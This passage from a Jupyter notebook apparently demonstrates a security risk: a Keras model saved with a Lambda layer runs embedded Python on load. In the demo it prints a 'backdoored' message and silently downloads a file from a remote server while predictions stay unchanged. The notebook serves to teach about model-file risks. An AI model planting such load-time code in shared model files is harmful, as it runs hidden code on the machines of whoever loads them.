        "temp_model.save(\"huskymodel-lambda-backdoor\")                             # By the way, bad default."
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "990rDJqe2LaF",
        "outputId": "9db58e3c-7de8-41fc-a670-c35147be6e0e"
      },
      "execution_count": 67,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Hello world! Husky AI is now backdoored.\n",
            "Hello world! Husky AI is now backdoored.\n",
            "Hello world! Husky AI is now backdoored.\n",
            "Hello world! Husky AI is now backdoored.\n",
            "Hello world! Husky AI is now backdoored.\n",
            "Hello world! Husky AI is now backdoored.\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "As you can see with the print statement, at above code already executed the lambda function. Since the lambda functions also downloads an image, let's remove that image, so we can cleanly simulate loading the backdoored model file."
      ],
      "metadata": {
        "id": "WIpafmLRjRLm"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "!rm embracethered.png"
      ],
      "metadata": {
        "id": "aNgsKriJjHeg"
      },
      "execution_count": 68,
      "outputs": []
    },
    {
      "cell_type": "markdown",
      "source": [
        "## SCARY PART: Loading the backdoored model\n",
        "\n",
        "Now it's time to load up the backdoored model and see what happens."
      ],
      "metadata": {
        "id": "Lis0i0Haid2r"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "backdoor_model = keras.models.load_model(\"huskymodel-lambda-backdoor\")"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "SfYzbHru9Czq",
        "outputId": "50c491ec-abd1-427e-84d6-b71725db6ec1"
      },
      "execution_count": 69,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Hello world! Husky AI is now backdoored.\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "**See the output! The custom Python code in the lambda layer was executed!**\n",
        "\n",
        "See https://keras.io/api/models/model_saving_apis/model_saving_and_loading/ for details on various model formats.\n",
        "\n",
        "Let's explore the model architecture.\n"
      ],
      "metadata": {
        "id": "w57CjhB5io4L"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "backdoor_model.summary()"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "56ehOsjS-O1Q",
        "outputId": "9393cae3-c7ba-4f64-da9a-779745a1afed"
      },
      "execution_count": 70,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Model: \"sequential_1\"\n",
            "_________________________________________________________________\n",
            " Layer (type)                Output Shape              Param #   \n",
            "=================================================================\n",
            " conv2d_3 (Conv2D)           (None, 126, 126, 32)      896       \n",
            "                                                                 \n",
            " max_pooling2d_3 (MaxPoolin  (None, 63, 63, 32)        0         \n",
            " g2D)                                                            \n",
            "                                                                 \n",
            " dropout_3 (Dropout)         (None, 63, 63, 32)        0         \n",
            "                                                                 \n",
            " conv2d_4 (Conv2D)           (None, 61, 61, 64)        18496     \n",
            "                                                                 \n",
            " max_pooling2d_4 (MaxPoolin  (None, 30, 30, 64)        0         \n",
            " g2D)                                                            \n",
            "                                                                 \n",
            " dropout_4 (Dropout)         (None, 30, 30, 64)        0         \n",
            "                                                                 \n",
            " conv2d_5 (Conv2D)           (None, 28, 28, 128)       73856     \n",
            "                                                                 \n",
            " max_pooling2d_5 (MaxPoolin  (None, 14, 14, 128)       0         \n",
            " g2D)                                                            \n",
            "                                                                 \n",
            " dropout_5 (Dropout)         (None, 14, 14, 128)       0         \n",
            "                                                                 \n",
            " flatten_1 (Flatten)         (None, 25088)             0         \n",
            "                                                                 \n",
            " dense_2 (Dense)             (None, 128)               3211392   \n",
            "                                                                 \n",
            " dense_3 (Dense)             (None, 1)                 129       \n",
            "                                                                 \n",
            " lambda_17 (Lambda)          (None, 1)                 0         \n",
            "                                                                 \n",
            "=================================================================\n",
            "Total params: 3304769 (12.61 MB)\n",
            "Trainable params: 3304769 (12.61 MB)\n",
            "Non-trainable params: 0 (0.00 Byte)\n",
            "_________________________________________________________________\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "Predictions still are the same between original and backdoored model."
      ],
      "metadata": {
        "id": "dok-bdXDixZL"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "print(f\"Original model: {model.predict(image2, verbose=0)}\")\n",
        "print(f\"Updated model : {backdoor_model.predict(image2, verbose=0)}\")"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "S-e7f9uq-_ER",
        "outputId": "79a491c8-fed2-4d91-d745-a83e60a5b7be"
      },
      "execution_count": 71,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Original model: [[0.8144329]]\n",
            "Hello world! Husky AI is now backdoored.\n",
            "Updated model : [[0.8144329]]\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "The backdoor function also downloaded the file from the remote web server and stored it as `embracethered.png`."
      ],
      "metadata": {
        "id": "M_AdKONii2pJ"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "!ls -lha\n",
        "from IPython.display import Image\n",
        "Image(\"embracethered.png\")"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/",
          "height": 302
        },
        "id": "0PPf4vU5CUlD",
        "outputId": "0b55cd3f-b242-4c07-f1e9-fbcb9fbb471d"
      },
      "execution_count": 82,
      "outputs": [
        {
          "output_type": "execute_result",
          "data": {
            "image/png": "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